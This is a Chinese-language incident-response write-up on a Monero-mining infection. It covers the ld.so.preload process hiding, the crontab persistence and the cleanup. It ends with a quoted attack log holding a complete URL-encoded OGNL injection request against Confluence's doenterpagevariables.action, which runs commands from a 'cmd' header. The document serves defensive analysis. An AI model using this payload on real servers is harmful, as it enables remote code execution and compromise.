警告！恶意域名疯狂外联，原因竟然是……

前言

在某个风和日丽的下午，突然收到客户那边运维发过来的消息说我司的 DTA 设备在疯狂告警，说存在恶意域名外联，我急忙背上小背包前往客户现场，经过与客户协同排查，最终确定该事件为一起挖矿病毒引起的恶意域名外联事件。（因客户信息保密且为了保证文章逻辑完整性，部分截图为后期追加图）

事件分析

一看域名地址 donate.v2.xmrig.com，xmrig 这不门罗币的矿池地址吗，看来是个挖矿事件，从 DTA 上的告警时间和告警事件来看，确实是个挖矿事件。

经过在 DTA 产品上分析发现该 IP 的流量信息，发现该 IP 主机一直在对该恶意域名进行外联请求，经过和客户沟通之后，对被害主机进行上机排查。执行 top 命令并未发现存在 CPU 异常，执行 ps 命令也未发现恶意进程，netstat 命令也未发现恶意 ip 连接等行为。   

但是在 DTA 上，该台主机确实一直在请求恶意域名，应该是做了一些隐藏进程的手段，现在类似这种挖矿病毒存在一种主流的隐藏方法，那就是通过 LD_PRELOAD 来修改运行链接库，修改 LD_PRELOAD 之后允许在你的程序运行前加载所修改的动态链接库。

那去/etc 目录下看看是否存在 ld.so.preload 这个文件

用系统的自带的 ls 命令并未发现 ld.so.preload 文件，这里怀疑是一些系统自带的 ls 等命令已经被动态链接库所 hook 劫持了，导致查看不到文件，所以上传了一个 busybox，不用系统自带的命令来进行查看。

ld.so.preload 这个文件，在系统中默认不存在这个文件或者该文件为空

这里直接通过 busybox 把这个文件给进行删除

然后再次使用 top 命令进行查看

执行 lsof -p [pid]命令来定位挖矿木马进程文件

来到该目录下发现如下

kill -9 3582558 去 kill 掉挖矿木马进程，然后再把挖矿木马一并删除，但是一段时间后，DTA 设备上又传来了失陷告警，且该目录下又重新生成了挖矿程序。

使用 crontab -l 检查定时任务，发现一个可疑定时程序，该定时执行一个 a.sh 文件

该脚本主要内容如下    

定义环境变量用来存取配置文件，然后检查 ddns.log 文件是否存在，这里的逻辑是检查当前时间与文件最后修改时间的差值。如果这个差值大于 6 秒，脚本输出 "process is not running"，表示进程可能已经停止运行。如果差值不超过 6 秒，脚本认为进程可能仍在运行。最后根据不同用户来 curl 不用的 sh 文件，ai.sh 一些关键代码如下

杀死大于 CPU 使用率超过 65%的所有进程，防止一些其他挖矿程序或者其他干扰 CPU 进程的运行

下载的文件名和受害机上文件一致，且确定为挖矿程序。   

对此删除掉恶意定时任务、挖矿病毒，重新 kill 进程，DTA 恢复正常，无失陷流量告警。

挖矿病毒应急算是解决完了，要继续还原攻击者的攻击链路，根据挖矿木马可以分析出攻击者最先落地的是一个 a.sh 文件，根据 a.sh 文件名和落地时间和/var/log/messages 里面所显示的脚本首次启动时间去查找日志，通过在态感、WAF、日志审计系统等设备再结合开放的端口服务结合查找，终于定位到一条如下攻击日志。

POST /pages/doenterpagevariables.action HTTP/1.1          Host: xxxxx:8090          Connection: keep-alive          Content-Length: 599          Cache-Control: max-age=0          sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"          sec-ch-ua-mobile: ?0          Upgrade-Insecure-Requests: 1          Content-Type: application/x-www-form-urlencoded          User-Agent: xxxxxx          Sec-Fetch-Site: same-origin          Sec-Fetch-Mode: navigate          Sec-Fetch-User: ?1          Sec-Fetch-Dest: document          Accept-Encoding: gzip, deflate, br          Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6          Cookie: xxxxx          cmd: 恶意命令                        queryString=%5Cu0027%2B%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName%28%5Cu0022javax.script.ScriptEngineManager%5Cu0022%29.newInstance%28%29.getEngineByName%28%5Cu0022js%5Cu0022%29.eval%28%5Cu0022var+c%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getRequest%28%29.getHeader%28%5Cu0027cmd%5Cu0027%29%3Bvar+x%3Djava.lang.Runtime.getRuntime%28%29.exec%28c%29%3Bvar+out%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getResponse%28%29.getOutputStream%28%29%3Borg.apache.commons.io.IOUtils.copy%28x.getInputStream%28%29%2Cout%29%3Bout.flush%28%29%3B%5Cu0022%29%7D%2B%5Cu0027

通过再次复现验证

可以确认攻击者通过 8090 端口开放的 Confluence 应用（该版本的 Confluence 应用存在 RCE 漏洞）进行 getshell，然后上传 a.sh 文件，最后上传挖矿木马进行挖矿操作。

至此整个攻击链路和应急流程已全部梳理完毕。